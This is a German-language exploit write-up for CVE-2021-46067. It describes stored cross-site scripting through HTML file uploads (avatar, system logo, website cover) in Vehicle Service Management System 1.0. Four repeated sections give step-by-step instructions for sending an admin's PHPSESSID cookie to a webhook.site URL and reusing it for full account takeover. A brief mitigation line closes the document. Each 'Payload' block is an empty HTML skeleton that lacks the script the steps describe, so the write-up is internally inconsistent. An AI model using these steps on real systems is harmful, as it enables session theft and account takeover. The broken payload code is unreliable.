CVE-2021-46067
Exploit Title: Vehicle Service Management System - 'Multiple' Cookie-Diebstahl führt zur vollständigen Kontenübernahme
CVE: CVE-2021-46067
CVSS: 9.8 CRITICAL
Referenzen:
Beschreibung:
In Vehicle Service Management System 1.0 kann ein Angreifer Cookies stehlen, was zur vollständigen Kontenübernahme führt.
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
Exploit:
- Melden Sie sich im Admin-Panel http://localhost/vehicle_service/admin an.
- Navigieren Sie zum Bereich My Account http://localhost/vehicle_service/admin/?page=user
- Generieren Sie die Webhook-URL - https://webhook.site
- Kopieren Sie die eindeutige Webhook-URL und fügen Sie sie in den untenstehenden HTML-Code ein.
Payload:
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
- Speichern Sie den obigen HTML-Code, z. B.: Cookie Stealing.html
- Geben Sie im Bereich My Account alle erforderlichen Details ein und wählen Sie die HTML-Datei unter Avatar aus.
- Klicken Sie auf die Schaltfläche Update.
- Öffnen Sie das Avatar-Bild in einem neuen Tab und überprüfen Sie den Webhook-Status.
- Wir haben die Anfrage erhalten, sie enthält PHPSESSID.
- Kopieren Sie den Wert von PHPSESSID und öffnen Sie einen anderen Browser.
- Besuchen Sie das Admin-Panel http://localhost/vehicle_service/admin
- Überprüfen Sie die Cookie-Werte und ändern Sie den PHPSESSID-Wert auf den kopierten PHPSESSID-Wert.
- Greifen Sie nun auf das Admin-Panel http://localhost/vehicle_service/admin zu.
- Erfolgreich am Konto angemeldet. Kontenübernahme erfolgreich.
2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)
Exploit:
- Melden Sie sich im Admin-Panel http://localhost/vehicle_service/admin an.
- Navigieren Sie zum Bereich User List und klicken Sie auf die Schaltfläche Create New.
- Generieren Sie die Webhook-URL - https://webhook.site
- Kopieren Sie die eindeutige Webhook-URL und fügen Sie sie in den untenstehenden HTML-Code ein.
Payload:
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
- Speichern Sie den obigen HTML-Code, z. B.: Cookie Stealing.html
- Geben Sie im Bereich Create New User alle erforderlichen Details ein und wählen Sie die HTML-Datei unter Avatar aus.
- Klicken Sie auf die Schaltfläche Save.
- Öffnen Sie das Avatar-Bild in einem neuen Tab und überprüfen Sie den Webhook-Status.
- Wir haben die Anfrage erhalten, sie enthält PHPSESSID.
- Kopieren Sie den Wert von PHPSESSID und öffnen Sie einen anderen Browser.
- Besuchen Sie das Admin-Panel http://localhost/vehicle_service/admin
- Überprüfen Sie die Cookie-Werte und ändern Sie den PHPSESSID-Wert auf den kopierten PHPSESSID-Wert.
- Greifen Sie nun auf das Admin-Panel http://localhost/vehicle_service/admin zu.
- Erfolgreich am Konto angemeldet. Kontenübernahme erfolgreich.
3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)
Exploit:
- Melden Sie sich im Admin-Panel http://localhost/vehicle_service/admin an.
- Navigieren Sie zum Bereich Settings http://localhost/vehicle_service/admin/?page=system_info
- Generieren Sie die Webhook-URL - https://webhook.site
- Kopieren Sie die eindeutige Webhook-URL und fügen Sie sie in den untenstehenden HTML-Code ein.
Payload:
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
- Speichern Sie den obigen HTML-Code, z. B.: Cookie Stealing.html
- Geben Sie im Bereich Settings alle erforderlichen Details ein und wählen Sie die HTML-Datei unter System Logo aus.
- Klicken Sie auf die Schaltfläche Update.
- Öffnen Sie das System-Logo-Bild in einem neuen Tab und überprüfen Sie den Webhook-Status.
- Wir haben die Anfrage erhalten, sie enthält PHPSESSID.
- Kopieren Sie den Wert von PHPSESSID und öffnen Sie einen anderen Browser.
- Besuchen Sie das Admin-Panel http://localhost/vehicle_service/admin
- Überprüfen Sie die Cookie-Werte und ändern Sie den PHPSESSID-Wert auf den kopierten PHPSESSID-Wert.
- Greifen Sie nun auf das Admin-Panel http://localhost/vehicle_service/admin zu.
- Erfolgreich am Konto angemeldet. Kontenübernahme erfolgreich.
4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)
Exploit:
- Melden Sie sich im Admin-Panel http://localhost/vehicle_service/admin an.
- Navigieren Sie zum Bereich Settings http://localhost/vehicle_service/admin/?page=system_info
- Generieren Sie die Webhook-URL - https://webhook.site
- Kopieren Sie die eindeutige Webhook-URL und fügen Sie sie in den untenstehenden HTML-Code ein.
Payload:
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
- Speichern Sie den obigen HTML-Code, z. B.: Cookie Stealing.html
- Geben Sie im Bereich Settings alle erforderlichen Details ein und wählen Sie die HTML-Datei unter Website Cover aus.
- Klicken Sie auf die Schaltfläche Update.
- Öffnen Sie das Website-Cover-Bild in einem neuen Tab und überprüfen Sie den Webhook-Status.
- Wir haben die Anfrage erhalten, sie enthält PHPSESSID.
- Kopieren Sie den Wert von PHPSESSID und öffnen Sie einen anderen Browser.
- Besuchen Sie das Admin-Panel http://localhost/vehicle_service/admin
- Überprüfen Sie die Cookie-Werte und ändern Sie den PHPSESSID-Wert auf den kopierten PHPSESSID-Wert.
- Greifen Sie nun auf das Admin-Panel http://localhost/vehicle_service/admin zu.
- Erfolgreich am Konto angemeldet. Kontenübernahme erfolgreich.
Auswirkungen:
Ein Angreifer lädt eine schädliche HTML-Datei hoch, die zu einer Drittanbieter-Website umleitet, und Cookies werden in der Anfrage offengelegt. Dies führt zur vollständigen Kontenübernahme.
Gegenmaßnahmen:
Es wird empfohlen, die Dateiupload-Funktionalität zu validieren und sekundäre Überprüfungen in der Sitzung durchzuführen.